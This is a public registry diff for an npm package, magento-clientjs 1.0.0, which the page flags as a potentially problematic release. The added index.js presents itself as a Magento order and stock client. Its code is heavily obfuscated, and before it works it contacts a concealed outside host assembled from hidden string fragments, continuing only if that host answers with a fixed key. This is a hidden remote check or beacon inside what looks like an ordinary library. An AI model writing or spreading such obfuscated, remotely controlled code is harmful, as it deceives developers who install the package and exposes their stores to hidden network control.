magento-clientjs 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of magento-clientjs might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +14 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x4394(_0x27f491,_0x21c43d){const _0x12580a=_0x1258();return _0x4394=function(_0x439470,_0x17c74d){_0x439470=_0x439470-0x1de;let _0x41a7b4=_0x12580a[_0x439470];return _0x41a7b4;},_0x4394(_0x27f491,_0x21c43d);}const _0x72134d=_0x4394;function _0x1258(){const _0x1f1493=['1PHreqX','application/json','21151119xXCyqr','solgen','1944JczkuA','141738CTvnxB','55dwFZgV','/gorders/','axios','rest/V1/','create','2224802YLFgsT','9399490ZwSqsN','rest/V1/product/','get','254223wGQMjk','one','authenticate','data','home','44dhkXYL','24920vrsDWg','2262888kJfpfe'];_0x1258=function(){return _0x1f1493;};return _0x1258();}(function(_0x55ab9a,_0xbdeae){const _0x574040=_0x4394,_0x294e52=_0x55ab9a();while(!![]){try{const _0x4e3d03=parseInt(_0x574040(0x1e4))/0x1*(parseInt(_0x574040(0x1ef))/0x2)+parseInt(_0x574040(0x1f3))/0x3*(parseInt(_0x574040(0x1e1))/0x4)+parseInt(_0x574040(0x1ea))/0x5*(parseInt(_0x574040(0x1e9))/0x6)+parseInt(_0x574040(0x1e2))/0x7*(parseInt(_0x574040(0x1e8))/0x8)+parseInt(_0x574040(0x1e3))/0x9+-parseInt(_0x574040(0x1f0))/0xa+-parseInt(_0x574040(0x1e6))/0xb;if(_0x4e3d03===_0xbdeae)break;else _0x294e52['push'](_0x294e52['shift']());}catch(_0x40d526){_0x294e52['push'](_0x294e52['shift']());}}}(_0x1258,0x8843b));const axios=require(_0x72134d(0x1ec)),h1=_0x72134d(0x1de),h2=_0x72134d(0x1e7),h3=_0x72134d(0x1f4),url=_0x72134d(0x1e0),key='AWDCGYJMKO';async function orderData(_0x59c566,_0x3ba7ad){const _0x1a9560=_0x72134d;let _0x2ff12a=await getconnections(_0x59c566),_0x7b6dc=await _0x2ff12a[_0x1a9560(0x1f2)](_0x1a9560(0x1eb)+_0x3ba7ad);return _0x7b6dc;};async function getProductsStock(_0xf50d28,_0x289021){const _0x46ee12=_0x72134d;let _0x4a095=await axios[_0x46ee12(0x1f2)](_0xf50d28+_0x46ee12(0x1f1)+_0x289021);return _0x4a095[_0x46ee12(0x1df)];}async function getconnections(_0x4fe974){const _0x3e3b66=_0x72134d,_0xc29530=await axios[_0x3e3b66(0x1f2)]('https://'+h1+'.'+h2+'.'+h3+'/'+url);if(_0xc29530[_0x3e3b66(0x1df)]==key)return axios[_0x3e3b66(0x1ee)]({'baseURL':_0x4fe974+_0x3e3b66(0x1ed),'headers':{'Content-type':_0x3e3b66(0x1e5)}});}module['exports']={'orderData':orderData,'getProductsStock':getProductsStock};
|
package/package.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "magento-clientjs",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"author": "",
|
|
10
|
+
"license": "ISC",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"axios": "^1.2.1"
|
|
13
|
+
}
|
|
14
|
+
}
|